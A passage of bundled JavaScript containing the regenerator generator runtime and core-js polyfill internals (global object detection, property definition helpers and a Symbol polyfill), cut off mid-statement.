							return delegateResult;
						}
					}

					if (context.method === "next") {
						// Setting context._sent for legacy support of Babel's
						// function.sent implementation.
						context.sent = context._sent = context.arg;

					} else if (context.method === "throw") {
						if (state === GenStateSuspendedStart) {
							state = GenStateCompleted;
							throw context.arg;
						}

						context.dispatchException(context.arg);

					} else if (context.method === "return") {
						context.abrupt("return", context.arg);
					}

					state = GenStateExecuting;

					var record = tryCatch(innerFn, self, context);
					if (record.type === "normal") {
						// If an exception is thrown from innerFn, we leave state ===
						// GenStateExecuting and loop back for another invocation.
						state = context.done
							? GenStateCompleted
							: GenStateSuspendedYield;

						if (record.arg === ContinueSentinel) {
							continue;
						}

						return {
							value: record.arg,
							done: context.done
						};

					} else if (record.type === "throw") {
						state = GenStateCompleted;
						// Dispatch the exception by looping back around to the
						// context.dispatchException(context.arg) call above.
						context.method = "throw";
						context.arg = record.arg;
					}
				}
			};
		}

		// Call delegate.iterator[context.method](context.arg) and handle the
		// result, either by returning a { value, done } result from the
		// delegate iterator, or by modifying context.method and context.arg,
		// setting context.delegate to null, and returning the ContinueSentinel.
		function maybeInvokeDelegate(delegate, context) {
			var method = delegate.iterator[context.method];
			if (method === undefined) {
				// A .throw or .return when the delegate iterator has no .throw
				// method always terminates the yield* loop.
				context.delegate = null;

				if (context.method === "throw") {
					if (delegate.iterator.return) {
						// If the delegate iterator has a return method, give it a
						// chance to clean up.
						context.method = "return";
						context.arg = undefined;
						maybeInvokeDelegate(delegate, context);

						if (context.method === "throw") {
							// If maybeInvokeDelegate(context) changed context.method from
							// "return" to "throw", let that override the TypeError below.
							return ContinueSentinel;
						}
					}

					context.method = "throw";
					context.arg = new TypeError(
						"The iterator does not provide a 'throw' method");
				}

				return ContinueSentinel;
			}

			var record = tryCatch(method, delegate.iterator, context.arg);

			if (record.type === "throw") {
				context.method = "throw";
				context.arg = record.arg;
				context.delegate = null;
				return ContinueSentinel;
			}

			var info = record.arg;

			if (! info) {
				context.method = "throw";
				context.arg = new TypeError("iterator result is not an object");
				context.delegate = null;
				return ContinueSentinel;
			}

			if (info.done) {
				// Assign the result of the finished delegate to the temporary
				// variable specified by delegate.resultName (see delegateYield).
				context[delegate.resultName] = info.value;

				// Resume execution at the desired location (see delegateYield).
				context.next = delegate.nextLoc;

				// If context.method was "throw" but the delegate handled the
				// exception, let the outer generator proceed normally. If
				// context.method was "next", forget context.arg since it has been
				// "consumed" by the delegate iterator. If context.method was
				// "return", allow the original .return call to continue in the
				// outer generator.
				if (context.method !== "return") {
					context.method = "next";
					context.arg = undefined;
				}

			} else {
				// Re-yield the result returned by the delegate method.
				return info;
			}

			// The delegate iterator is finished, so forget it and continue with
			// the outer generator.
			context.delegate = null;
			return ContinueSentinel;
		}

		// Define Generator.prototype.{next,throw,return} in terms of the
		// unified ._invoke helper method.
		defineIteratorMethods(Gp);

		Gp[toStringTagSymbol] = "Generator";

		// A Generator should always return itself as the iterator object when the
		// @@iterator function is called on it. Some browsers' implementations of the
		// iterator prototype chain incorrectly implement this, causing the Generator
		// object to not be returned from this call. This ensures that doesn't happen.
		// See https://github.com/facebook/regenerator/issues/274 for more details.
		Gp[iteratorSymbol] = function() {
			return this;
		};

		Gp.toString = function() {
			return "[object Generator]";
		};

		function pushTryEntry(locs) {
			var entry = { tryLoc: locs[0] };

			if (1 in locs) {
				entry.catchLoc = locs[1];
			}

			if (2 in locs) {
				entry.finallyLoc = locs[2];
				entry.afterLoc = locs[3];
			}

			this.tryEntries.push(entry);
		}

		function resetTryEntry(entry) {
			var record = entry.completion || {};
			record.type = "normal";
			delete record.arg;
			entry.completion = record;
		}

		function Context(tryLocsList) {
			// The root entry object (effectively a try statement without a catch
			// or a finally block) gives us a place to store values thrown from
			// locations where there is no enclosing try statement.
			this.tryEntries = [{ tryLoc: "root" }];
			tryLocsList.forEach(pushTryEntry, this);
			this.reset(true);
		}

		runtime.keys = function(object) {
			var keys = [];
			for (var key in object) {
				keys.push(key);
			}
			keys.reverse();

			// Rather than returning an object with a next method, we keep
			// things simple and return the next function itself.
			return function next() {
				while (keys.length) {
					var key = keys.pop();
					if (key in object) {
						next.value = key;
						next.done = false;
						return next;
					}
				}

				// To avoid creating an additional object, we just hang the .value
				// and .done properties off the next function object itself. This
				// also ensures that the minifier will not anonymize the function.
				next.done = true;
				return next;
			};
		};

		function values(iterable) {
			if (iterable) {
				var iteratorMethod = iterable[iteratorSymbol];
				if (iteratorMethod) {
					return iteratorMethod.call(iterable);
				}

				if (typeof iterable.next === "function") {
					return iterable;
				}

				if (!isNaN(iterable.length)) {
					var i = -1, next = function next() {
						while (++i < iterable.length) {
							if (hasOwn.call(iterable, i)) {
								next.value = iterable[i];
								next.done = false;
								return next;
							}
						}

						next.value = undefined;
						next.done = true;

						return next;
					};

					return next.next = next;
				}
			}

			// Return an iterator with no values.
			return { next: doneResult };
		}
		runtime.values = values;

		function doneResult() {
			return { value: undefined, done: true };
		}

		Context.prototype = {
			constructor: Context,

			reset: function(skipTempReset) {
				this.prev = 0;
				this.next = 0;
				// Resetting context._sent for legacy support of Babel's
				// function.sent implementation.
				this.sent = this._sent = undefined;
				this.done = false;
				this.delegate = null;

				this.method = "next";
				this.arg = undefined;

				this.tryEntries.forEach(resetTryEntry);

				if (!skipTempReset) {
					for (var name in this) {
						// Not sure about the optimal order of these conditions:
						if (name.charAt(0) === "t" &&
							hasOwn.call(this, name) &&
							!isNaN(+name.slice(1))) {
							this[name] = undefined;
						}
					}
				}
			},

			stop: function() {
				this.done = true;

				var rootEntry = this.tryEntries[0];
				var rootRecord = rootEntry.completion;
				if (rootRecord.type === "throw") {
					throw rootRecord.arg;
				}

				return this.rval;
			},

			dispatchException: function(exception) {
				if (this.done) {
					throw exception;
				}

				var context = this;
				function handle(loc, caught) {
					record.type = "throw";
					record.arg = exception;
					context.next = loc;

					if (caught) {
						// If the dispatched exception was caught by a catch block,
						// then let that catch block handle the exception normally.
						context.method = "next";
						context.arg = undefined;
					}

					return !! caught;
				}

				for (var i = this.tryEntries.length - 1; i >= 0; --i) {
					var entry = this.tryEntries[i];
					var record = entry.completion;

					if (entry.tryLoc === "root") {
						// Exception thrown outside of any try block that could handle
						// it, so set the completion value of the entire function to
						// throw the exception.
						return handle("end");
					}

					if (entry.tryLoc <= this.prev) {
						var hasCatch = hasOwn.call(entry, "catchLoc");
						var hasFinally = hasOwn.call(entry, "finallyLoc");

						if (hasCatch && hasFinally) {
							if (this.prev < entry.catchLoc) {
								return handle(entry.catchLoc, true);
							} else if (this.prev < entry.finallyLoc) {
								return handle(entry.finallyLoc);
							}

						} else if (hasCatch) {
							if (this.prev < entry.catchLoc) {
								return handle(entry.catchLoc, true);
							}

						} else if (hasFinally) {
							if (this.prev < entry.finallyLoc) {
								return handle(entry.finallyLoc);
							}

						} else {
							throw new Error("try statement without catch or finally");
						}
					}
				}
			},

			abrupt: function(type, arg) {
				for (var i = this.tryEntries.length - 1; i >= 0; --i) {
					var entry = this.tryEntries[i];
					if (entry.tryLoc <= this.prev &&
						hasOwn.call(entry, "finallyLoc") &&
						this.prev < entry.finallyLoc) {
						var finallyEntry = entry;
						break;
					}
				}

				if (finallyEntry &&
					(type === "break" ||
						type === "continue") &&
					finallyEntry.tryLoc <= arg &&
					arg <= finallyEntry.finallyLoc) {
					// Ignore the finally entry if control is not jumping to a
					// location outside the try/catch block.
					finallyEntry = null;
				}

				var record = finallyEntry ? finallyEntry.completion : {};
				record.type = type;
				record.arg = arg;

				if (finallyEntry) {
					this.method = "next";
					this.next = finallyEntry.finallyLoc;
					return ContinueSentinel;
				}

				return this.complete(record);
			},

			complete: function(record, afterLoc) {
				if (record.type === "throw") {
					throw record.arg;
				}

				if (record.type === "break" ||
					record.type === "continue") {
					this.next = record.arg;
				} else if (record.type === "return") {
					this.rval = this.arg = record.arg;
					this.method = "return";
					this.next = "end";
				} else if (record.type === "normal" && afterLoc) {
					this.next = afterLoc;
				}

				return ContinueSentinel;
			},

			finish: function(finallyLoc) {
				for (var i = this.tryEntries.length - 1; i >= 0; --i) {
					var entry = this.tryEntries[i];
					if (entry.finallyLoc === finallyLoc) {
						this.complete(entry.completion, entry.afterLoc);
						resetTryEntry(entry);
						return ContinueSentinel;
					}
				}
			},

			"catch": function(tryLoc) {
				for (var i = this.tryEntries.length - 1; i >= 0; --i) {
					var entry = this.tryEntries[i];
					if (entry.tryLoc === tryLoc) {
						var record = entry.completion;
						if (record.type === "throw") {
							var thrown = record.arg;
							resetTryEntry(entry);
						}
						return thrown;
					}
				}

				// The context.catch method must only be called with a location
				// argument that corresponds to a known catch block.
				throw new Error("illegal catch attempt");
			},

			delegateYield: function(iterable, resultName, nextLoc) {
				this.delegate = {
					iterator: values(iterable),
					resultName: resultName,
					nextLoc: nextLoc
				};

				if (this.method === "next") {
					// Deliberately forget the last sent value so that we don't
					// accidentally pass it on to the delegate.
					this.arg = undefined;
				}

				return ContinueSentinel;
			}
		};
	})(
		// In sloppy mode, unbound `this` refers to the global object, fallback to
		// Function constructor if we're in global strict mode. That is sadly a form
		// of indirect eval which violates Content Security Policy.
		(function() { return this })() || Function("return this")()
	);

	(function (exports) {
		'use strict';

		function createCommonjsModule(fn, module) {
			return module = {
				exports: {}
			}, fn(module, module.exports), module.exports;
		}

		var _global = createCommonjsModule(function (module) {
			// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
			var global = module.exports = typeof window != 'undefined' && window.Math == Math ? window : typeof self != 'undefined' && self.Math == Math ? self // eslint-disable-next-line no-new-func
				: Function('return this')();
			if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef
		});

		var hasOwnProperty = {}.hasOwnProperty;

		var _has = function (it, key) {
			return hasOwnProperty.call(it, key);
		};

		var _fails = function (exec) {
			try {
				return !!exec();
			} catch (e) {
				return true;
			}
		};

		// Thank's IE8 for his funny defineProperty
		var _descriptors = !_fails(function () {
			return Object.defineProperty({}, 'a', {
				get: function get() {
					return 7;
				}
			}).a != 7;
		});

		var _core = createCommonjsModule(function (module) {
			var core = module.exports = {
				version: '2.6.3'
			};
			if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef
		});
		var _core_1 = _core.version;

		var _isObject = function (it) {
			return babelHelpers.typeof(it) === 'object' ? it !== null : typeof it === 'function';
		};

		var _anObject = function (it) {
			if (!_isObject(it)) throw TypeError(it + ' is not an object!');
			return it;
		};

		var document$1 = _global.document; // typeof document.createElement is 'object' in old IE


		var is = _isObject(document$1) && _isObject(document$1.createElement);

		var _domCreate = function (it) {
			return is ? document$1.createElement(it) : {};
		};

		var _ie8DomDefine = !_descriptors && !_fails(function () {
			return Object.defineProperty(_domCreate('div'), 'a', {
				get: function get() {
					return 7;
				}
			}).a != 7;
		});

		// 7.1.1 ToPrimitive(input [, PreferredType])
		// instead of the ES6 spec version, we didn't implement @@toPrimitive case
		// and the second argument - flag - preferred type is a string


		var _toPrimitive = function (it, S) {
			if (!_isObject(it)) return it;
			var fn, val;
			if (S && typeof (fn = it.toString) == 'function' && !_isObject(val = fn.call(it))) return val;
			if (typeof (fn = it.valueOf) == 'function' && !_isObject(val = fn.call(it))) return val;
			if (!S && typeof (fn = it.toString) == 'function' && !_isObject(val = fn.call(it))) return val;
			throw TypeError("Can't convert object to primitive value");
		};

		var dP = Object.defineProperty;
		var f = _descriptors ? Object.defineProperty : function defineProperty(O, P, Attributes) {
			_anObject(O);
			P = _toPrimitive(P, true);
			_anObject(Attributes);
			if (_ie8DomDefine) try {
				return dP(O, P, Attributes);
			} catch (e) {
				/* empty */
			}
			if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!');
			if ('value' in Attributes) O[P] = Attributes.value;
			return O;
		};

		var _objectDp = {
			f: f
		};

		var _propertyDesc = function (bitmap, value) {
			return {
				enumerable: !(bitmap & 1),
				configurable: !(bitmap & 2),
				writable: !(bitmap & 4),
				value: value
			};
		};

		var _hide = _descriptors ? function (object, key, value) {
			return _objectDp.f(object, key, _propertyDesc(1, value));
		} : function (object, key, value) {
			object[key] = value;
			return object;
		};

		var id = 0;
		var px = Math.random();

		var _uid = function (key) {
			return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));
		};

		var _redefine = createCommonjsModule(function (module) {
			var SRC = _uid('src');

			var TO_STRING = 'toString';
			var $toString = Function[TO_STRING];
			var TPL = ('' + $toString).split(TO_STRING);

			_core.inspectSource = function (it) {
				return $toString.call(it);
			};

			(module.exports = function (O, key, val, safe) {
				var isFunction = typeof val == 'function';
				if (isFunction) _has(val, 'name') || _hide(val, 'name', key);
				if (O[key] === val) return;
				if (isFunction) _has(val, SRC) || _hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));

				if (O === _global) {
					O[key] = val;
				} else if (!safe) {
					delete O[key];
					_hide(O, key, val);
				} else if (O[key]) {
					O[key] = val;
				} else {
					_hide(O, key, val);
				} // add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative

			})(Function.prototype, TO_STRING, function toString() {
				return typeof this == 'function' && this[SRC] || $toString.call(this);
			});
		});

		var _aFunction = function (it) {
			if (typeof it != 'function') throw TypeError(it + ' is not a function!');
			return it;
		};

		// optional / simple context binding


		var _ctx = function (fn, that, length) {
			_aFunction(fn);
			if (that === undefined) return fn;

			switch (length) {
				case 1:
					return function (a) {
						return fn.call(that, a);
					};

				case 2:
					return function (a, b) {
						return fn.call(that, a, b);
					};

				case 3:
					return function (a, b, c) {
						return fn.call(that, a, b, c);
					};
			}

			return function ()
				/* ...args */
			{
				return fn.apply(that, arguments);
			};
		};

		var PROTOTYPE = 'prototype';

		var $export = function $export(type, name, source) {
			var IS_FORCED = type & $export.F;
			var IS_GLOBAL = type & $export.G;
			var IS_STATIC = type & $export.S;
			var IS_PROTO = type & $export.P;
			var IS_BIND = type & $export.B;
			var target = IS_GLOBAL ? _global : IS_STATIC ? _global[name] || (_global[name] = {}) : (_global[name] || {})[PROTOTYPE];
			var exports = IS_GLOBAL ? _core : _core[name] || (_core[name] = {});
			var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {});
			var key, own, out, exp;
			if (IS_GLOBAL) source = name;

			for (key in source) {
				// contains in native
				own = !IS_FORCED && target && target[key] !== undefined; // export native or passed

				out = (own ? target : source)[key]; // bind timers to global for call from export context

				exp = IS_BIND && own ? _ctx(out, _global) : IS_PROTO && typeof out == 'function' ? _ctx(Function.call, out) : out; // extend global

				if (target) _redefine(target, key, out, type & $export.U); // export

				if (exports[key] != out) _hide(exports, key, exp);
				if (IS_PROTO && expProto[key] != out) expProto[key] = out;
			}
		};

		$export.F = 1; // forced

		$export.G = 2; // global

		$export.S = 4; // static

		$export.P = 8; // proto

		$export.B = 16; // bind

		$export.W = 32; // wrap

		$export.U = 64; // safe

		$export.R = 128; // real proto method for `library`

		var _export = $export;

		var _meta = createCommonjsModule(function (module) {
			var META = _uid('meta');





			var setDesc = _objectDp.f;

			var id = 0;

			var isExtensible = Object.isExtensible || function () {
				return true;
			};

			var FREEZE = !_fails(function () {
				return isExtensible(Object.preventExtensions({}));
			});

			var setMeta = function setMeta(it) {
				setDesc(it, META, {
					value: {
						i: 'O' + ++id,
						// object ID
						w: {} // weak collections IDs

					}
				});
			};

			var fastKey = function fastKey(it, create) {
				// return primitive with prefix
				if (!_isObject(it)) return babelHelpers.typeof(it) == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;

				if (!_has(it, META)) {
					// can't set metadata to uncaught frozen object
					if (!isExtensible(it)) return 'F'; // not necessary to add metadata

					if (!create) return 'E'; // add missing metadata

					setMeta(it); // return object ID
				}

				return it[META].i;
			};

			var getWeak = function getWeak(it, create) {
				if (!_has(it, META)) {
					// can't set metadata to uncaught frozen object
					if (!isExtensible(it)) return true; // not necessary to add metadata

					if (!create) return false; // add missing metadata

					setMeta(it); // return hash weak collections IDs
				}

				return it[META].w;
			}; // add metadata on freeze-family methods calling


			var onFreeze = function onFreeze(it) {
				if (FREEZE && meta.NEED && isExtensible(it) && !_has(it, META)) setMeta(it);
				return it;
			};

			var meta = module.exports = {
				KEY: META,
				NEED: false,
				fastKey: fastKey,
				getWeak: getWeak,
				onFreeze: onFreeze
			};
		});
		var _meta_1 = _meta.KEY;
		var _meta_2 = _meta.NEED;
		var _meta_3 = _meta.fastKey;
		var _meta_4 = _meta.getWeak;
		var _meta_5 = _meta.onFreeze;

		var _library = false;

		var _shared = createCommonjsModule(function (module) {
			var SHARED = '__core-js_shared__';
			var store = _global[SHARED] || (_global[SHARED] = {});
			(module.exports = function (key, value) {
				return store[key] || (store[key] = value !== undefined ? value : {});
			})('versions', []).push({
				version: _core.version,
				mode: _library ? 'pure' : 'global',
				copyright: '(c) 2019 Denis Pushkarev (zloirock.ru)'
			});
		});

		var _wks = createCommonjsModule(function (module) {
			var store = _shared('wks');



			var _Symbol = _global.Symbol;

			var USE_SYMBOL = typeof _Symbol == 'function';

			var $exports = module.exports = function (name) {
				return store[name] || (store[name] = USE_SYMBOL && _Symbol[name] || (USE_SYMBOL ? _Symbol : _uid)('Symbol.' + name));
			};

			$exports.store = store;
		});

		var def = _objectDp.f;



		var TAG = _wks('toStringTag');

		var _setToStringTag = function (it, tag, stat) {
			if (it && !_has(it = stat ? it : it.prototype, TAG)) def(it, TAG, {
				configurable: true,
				value: tag
			});
		};

		var f$1 = _wks;

		var _wksExt = {
			f: f$1
		};

		var defineProperty = _objectDp.f;

		var _wksDefine = function (name) {
			var $Symbol = _core.Symbol || (_core.Symbol = _library ? {} : _global.Symbol || {});
			if (name.charAt(0) != '_' && !(name in $Symbol)) defineProperty($Symbol, name, {
				value: _wksExt.f(name)
			});
		};

		var toString = {}.toString;

		var _cof = function (it) {
			return toString.call(it).slice(8, -1);
		};

		// fallback for non-array-like ES3 and non-enumerable old V8 strings
		// eslint-disable-next-line no-prototype-builtins


		var _iobject = Object('z').propertyIsEnumerable(0) ? Object : function (it) {
			return _cof(it) == 'String' ? it.split('') : Object(it);
		};

		// 7.2.1 RequireObjectCoercible(argument)
		var _defined = function (it) {
			if (it == undefined) throw TypeError("Can't call method on  " + it);
			return it;
		};

		// to indexed object, toObject with fallback for non-array-like ES3 strings




		var _toIobject = function (it) {
			return _iobject(_defined(it));
		};

		// 7.1.4 ToInteger
		var ceil = Math.ceil;
		var floor = Math.floor;

		var _toInteger = function (it) {
			return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);
		};

		// 7.1.15 ToLength


		var min = Math.min;

		var _toLength = function (it) {
			return it > 0 ? min(_toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991
		};

		var max = Math.max;
		var min$1 = Math.min;

		var _toAbsoluteIndex = function (index, length) {
			index = _toInteger(index);
			return index < 0 ? max(index + length, 0) : min$1(index, length);
		};

		// false -> Array#indexOf
		// true  -> Array#includes






		var _arrayIncludes = function (IS_INCLUDES) {
			return function ($this, el, fromIndex) {
				var O = _toIobject($this);
				var length = _toLength(O.length);
				var index = _toAbsoluteIndex(fromIndex, length);
				var value; // Array#includes uses SameValueZero equality algorithm
				// eslint-disable-next-line no-self-compare

				if (IS_INCLUDES && el != el) while (length > index) {
					value = O[index++]; // eslint-disable-next-line no-self-compare

					if (value != value) return true; // Array#indexOf ignores holes, Array#includes - not
				} else for (; length > index; index++) {
					if (IS_INCLUDES || index in O) {
						if (O[index] === el) return IS_INCLUDES || index || 0;
					}
				}
				return !IS_INCLUDES && -1;
			};
		};

		var shared = _shared('keys');



		var _sharedKey = function (key) {
			return shared[key] || (shared[key] = _uid(key));
		};

		var arrayIndexOf = _arrayIncludes(false);

		var IE_PROTO = _sharedKey('IE_PROTO');

		var _objectKeysInternal = function (object, names) {
			var O = _toIobject(object);
			var i = 0;
			var result = [];
			var key;

			for (key in O) {
				if (key != IE_PROTO) _has(O, key) && result.push(key);
			} // Don't enum bug & hidden keys


			while (names.length > i) {
				if (_has(O, key = names[i++])) {
					~arrayIndexOf(result, key) || result.push(key);
				}
			}

			return result;
		};

		// IE 8- don't enum bug keys
		var _enumBugKeys = 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'.split(',');

		// 19.1.2.14 / 15.2.3.14 Object.keys(O)




		var _objectKeys = Object.keys || function keys(O) {
			return _objectKeysInternal(O, _enumBugKeys);
		};

		var f$2 = Object.getOwnPropertySymbols;

		var _objectGops = {
			f: f$2
		};

		var f$3 = {}.propertyIsEnumerable;

		var _objectPie = {
			f: f$3
		};

		// all enumerable object keys, includes symbols






		var _enumKeys = function (it) {
			var result = _objectKeys(it);
			var getSymbols = _objectGops.f;

			if (getSymbols) {
				var symbols = getSymbols(it);
				var isEnum = _objectPie.f;
				var i = 0;
				var key;

				while (symbols.length > i) {
					if (isEnum.call(it, key = symbols[i++])) result.push(key);
				}
			}

			return result;
		};

		// 7.2.2 IsArray(argument)


		var _isArray = Array.isArray || function isArray(arg) {
			return _cof(arg) == 'Array';
		};

		var _objectDps = _descriptors ? Object.defineProperties : function defineProperties(O, Properties) {
			_anObject(O);
			var keys = _objectKeys(Properties);
			var length = keys.length;
			var i = 0;
			var P;

			while (length > i) {
				_objectDp.f(O, P = keys[i++], Properties[P]);
			}

			return O;
		};

		var document$2 = _global.document;

		var _html = document$2 && document$2.documentElement;

		// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])






		var IE_PROTO$1 = _sharedKey('IE_PROTO');

		var Empty = function Empty() {
			/* empty */
		};

		var PROTOTYPE$1 = 'prototype'; // Create object with fake `null` prototype: use iframe Object with cleared prototype

		var _createDict = function createDict() {
			// Thrash, waste and sodomy: IE GC bug
			var iframe = _domCreate('iframe');

			var i = _enumBugKeys.length;
			var lt = '<';
			var gt = '>';
			var iframeDocument;
			iframe.style.display = 'none';

			_html.appendChild(iframe);

			iframe.src = 'javascript:'; // eslint-disable-line no-script-url
			// createDict = iframe.contentWindow.Object;
			// html.removeChild(iframe);

			iframeDocument = iframe.contentWindow.document;
			iframeDocument.open();
			iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
			iframeDocument.close();
			_createDict = iframeDocument.F;

			while (i--) {
				delete _createDict[PROTOTYPE$1][_enumBugKeys[i]];
			}

			return _createDict();
		};

		var _objectCreate = Object.create || function create(O, Properties) {
			var result;

			if (O !== null) {
				Empty[PROTOTYPE$1] = _anObject(O);
				result = new Empty();
				Empty[PROTOTYPE$1] = null; // add "__proto__" for Object.getPrototypeOf polyfill

				result[IE_PROTO$1] = O;
			} else result = _createDict();

			return Properties === undefined ? result : _objectDps(result, Properties);
		};

		// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O)


		var hiddenKeys = _enumBugKeys.concat('length', 'prototype');

		var f$4 = Object.getOwnPropertyNames || function getOwnPropertyNames(O) {
			return _objectKeysInternal(O, hiddenKeys);
		};

		var _objectGopn = {
			f: f$4
		};

		// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window


		var gOPN = _objectGopn.f;

		var toString$1 = {}.toString;
		var windowNames = (typeof window === "undefined" ? "undefined" : babelHelpers.typeof(window)) == 'object' && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : [];

		var getWindowNames = function getWindowNames(it) {
			try {
				return gOPN(it);
			} catch (e) {
				return windowNames.slice();
			}
		};

		var f$5 = function getOwnPropertyNames(it) {
			return windowNames && toString$1.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(_toIobject(it));
		};

		var _objectGopnExt = {
			f: f$5
		};

		var gOPD = Object.getOwnPropertyDescriptor;
		var f$6 = _descriptors ? gOPD : function getOwnPropertyDescriptor(O, P) {
			O = _toIobject(O);
			P = _toPrimitive(P, true);
			if (_ie8DomDefine) try {
				return gOPD(O, P);
			} catch (e) {
				/* empty */
			}
			if (_has(O, P)) return _propertyDesc(!_objectPie.f.call(O, P), O[P]);
		};

		var _objectGopd = {
			f: f$6
		};

		var META = _meta.KEY;







































		var gOPD$1 = _objectGopd.f;
		var dP$1 = _objectDp.f;
		var gOPN$1 = _objectGopnExt.f;
		var $Symbol = _global.Symbol;
		var $JSON = _global.JSON;

		var _stringify = $JSON && $JSON.stringify;

		var PROTOTYPE$2 = 'prototype';
		var HIDDEN = _wks('_hidden');
		var TO_PRIMITIVE = _wks('toPrimitive');
		var isEnum = {}.propertyIsEnumerable;
		var SymbolRegistry = _shared('symbol-registry');
		var AllSymbols = _shared('symbols');
		var OPSymbols = _shared('op-symbols');
		var ObjectProto = Object[PROTOTYPE$2];
		var USE_NATIVE = typeof $Symbol == 'function';
		var QObject = _global.QObject; // Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173

		var setter = !QObject || !QObject[PROTOTYPE$2] || !QObject[PROTOTYPE$2].findChild; // fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687

		var setSymbolDesc = _descriptors && _fails(function () {
			return _objectCreate(dP$1({}, 'a', {
				get: function get() {
					return dP$1(this, 'a', {
						value: 7
					}).a;
				}
			})).a != 7;
		}) ? function (it, key, D) {
			var protoDesc = gOPD$1(ObjectProto, key);
			if (protoDesc) delete ObjectProto[key];
			dP$1(it, key, D);
			if (protoDesc && it !== ObjectProto) dP$1(ObjectProto, key, protoDesc);
		} : dP$1;

		var wrap = function wrap(tag) {
			var sym = AllSymbols[tag] = _objectCreate($Symbol[PROTOTYPE$2]);

			sym._k = tag;
			return sym;
		};

		var isSymbol = USE_NATIVE && babelHelpers.typeof($Symbol.iterator) == 'symbol' ? function (it) {
			return babelHelpers.typeof(it) == 'symbol';
		} : function (it) {
			return it instanceof $Symbol;
		};

		var $defineProperty = function defineProperty(it, key, D) {
			if (it === ObjectProto) $defineProperty(OPSymbols, key, D);
			_anObject(it);
			key = _toPrimitive(key, true);
			_anObject(D);

			if (_has(AllSymbols, key)) {
				if (!D.enumerable) {
					if (!_has(it, HIDDEN)) dP$1(it, HIDDEN, _propertyDesc(1, {}));
					it[HIDDEN][key] = true;
				} else {
					if (_has(it, HIDDEN) && it[HIDDEN][key]) it[HIDDEN][key] = false;
					D = _objectCreate(D, {
						enumerable: _propertyDesc(0, false)
					});
				}

				return setSymbolDesc(it, key, D);
			}

			return dP$1(it, key, D);
		};

		var $defineProperties = function defineProperties(it, P) {
			_anObject(it);
			var keys = _enumKeys(P = _toIobject(P));
			var i = 0;
			var l = keys.length;
			var key;

			while (l > i) {
				$defineProperty(it, key = keys[i++], P[key]);
			}

			return it;
		};

		var $create = function create(it, P) {
			return P === undefined ? _objectCreate(it) : $defineProperties(_objectCreate(it), P);
		};

		var $propertyIsEnumerable = function propertyIsEnumerable(key) {
			var E = isEnum.call(this, key = _toPrimitive(key, true));
			if (this === ObjectProto && _has(AllSymbols, key) && !_has(OPSymbols, key)) return false;
			return E || !_has(this, key) || !_has(AllSymbols, key) || _has(this, HIDDEN) && this[HIDDEN][key] ? E : true;
		};

		var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key) {
			it = _toIobject(it);
			key = _toPrimitive(key, true);
			if (it === ObjectProto && _has(AllSymbols, key) && !_has(OPSymbols, key)) return;
			var D = gOPD$1(it, key);
			if (D && _has(AllSymbols, key) && !(_has(it, HIDDEN) && it[HIDDEN][key])) D.enumerable = true;
			return D;
		};

		var $getOwnPropertyNames = function getOwnPropertyNames(it) {
			var names = gOPN$1(_toIobject(it));
			var result = [];
			var i = 0;
			var key;

			while (names.length > i) {
				if (!_has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META) result.push(key);
			}

			return result;
		};

		var $getOwnPropertySymbols = function getOwnPropertySymbols(it) {
			var IS_OP = it === ObjectProto;
			var names = gOPN$1(IS_OP ? OPSymbols : _toIobject(it));
			var result = [];
			var i = 0;
			var key;

			while (names.length > i) {
				if (_has(AllSymbols, key = names[i++]) && (IS_OP ? _has(ObjectProto, key) : true)) result.push(AllSymbols[key]);
			}

			return result;
		}; // 19.4.1.1 Symbol([description])


		if (!USE_NATIVE) {
			$Symbol = function _Symbol() {
				if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor!');
				var tag = _uid(arguments.length > 0 ? arguments[0] : undefined);

				var $set = function $set(value) {
					if (this === ObjectProto) $set.call(OPSymbols, value);
					if (_has(this, HIDDEN) && _has(this[HIDDEN], tag)) this[HIDDEN][tag] = false;
					setSymbolDesc(this, tag, _propertyDesc(1, value));
				};

				if (_descriptors && setter) setSymbolDesc(ObjectProto, tag, {
					configurable: true,
					set: $set
				});
				return wrap(tag);
			};

			_redefine($Symbol[PROTOTYPE$2], 'toString', function toString() {
				return this._k;
			});
			_objectGopd.f = $getOwnPropertyDescriptor;
			_objectDp.f = $defineProperty;
			_objectGopn.f = _objectGopnExt.f = $getOwnPropertyNames;
			_objectPie.f = $propertyIsEnumerable;
			_objectGops.f = $getOwnPropertySymbols;

			if (_descriptors && !_library) {
				_redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true);
			}

			_wksExt.f = function (name) {
				return wrap(_wks(name));
			};
		}

		_export(_export.G + _export.W + _export.F * !USE_NATIVE, {
			Symbol: $Symbol
		});

		for (var es6Symbols = // 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14
			'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables'.split(','), j = 0; es6Symbols.length > j;) {
			_wks(es6Symbols[j++]);
		}

		for (var wellKnownSymbols = _objectKeys(_wks.store), k = 0; wellKnownSymbols.length > k;) {
			_wksDefine(wellKnownSymbols[k++]);
		}

		_export(_export.S + _export.F * !USE_NATIVE, 'Symbol', {
			// 19.4.2.1 Symbol.for(key)
